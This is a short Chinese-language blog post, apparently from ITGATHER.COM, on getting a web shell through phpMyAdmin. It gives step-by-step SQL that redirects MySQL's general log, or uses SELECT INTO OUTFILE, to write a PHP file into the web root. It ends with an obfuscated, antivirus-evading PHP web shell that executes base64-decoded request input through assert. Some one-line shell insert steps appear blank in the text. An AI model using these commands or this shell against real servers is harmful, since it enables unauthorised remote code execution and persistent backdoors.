phpmyadmin getshell两种思路

背景

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。通过mysql相关特性,可以实现对任意文件的写入,从而实现getshell。

思路1:通过日志文件写入

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。

查看日志状态 

show variables  like  ‘%general%’;

开启日志

SET GLOBAL general_log=’on’

创建文件

在设置日志路径之前,需要先知道web的绝对路径;通过 Select @@datadir; 获取

获取绝对路径后,需要根据返回的信息猜测判断web路径;

设置日志文件生成路径,需要存在web根目录下,才能通过web访问;

SET GLOBAL general_log_file=’C:/xampp/htdocs/111.php’

执行完,即会生成日志文件;

接着执行

即可在日志文件插入一句话; 直接用蚁剑或者菜刀链接即可

思路2:利用mysql备份功能

进入phpmyadmin,选择一个数据库,创建一张表比如table_text,添加一个TEXT类型的字段,用来存放shell语句;

同样的道理,需要先获取web的路径,方法同思路1;

执行sql语句

select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;

这样一句话就生成了;

总结思路2:

Create TABLE table_text (cmd text NOT NULL);
Insert INTO table_text (cmd) VALUES(”);
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
Drop TABLE IF EXISTS table_text;

SQL查询免杀shell的语句

SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_=’a’.$_.’rt’;$_(base64_decode($_REQUEST[‘username’]));?>”

Copyright © 2017 ITGATHER.COM - 闽ICP备19016859号-1
扫二维码--> 返回顶部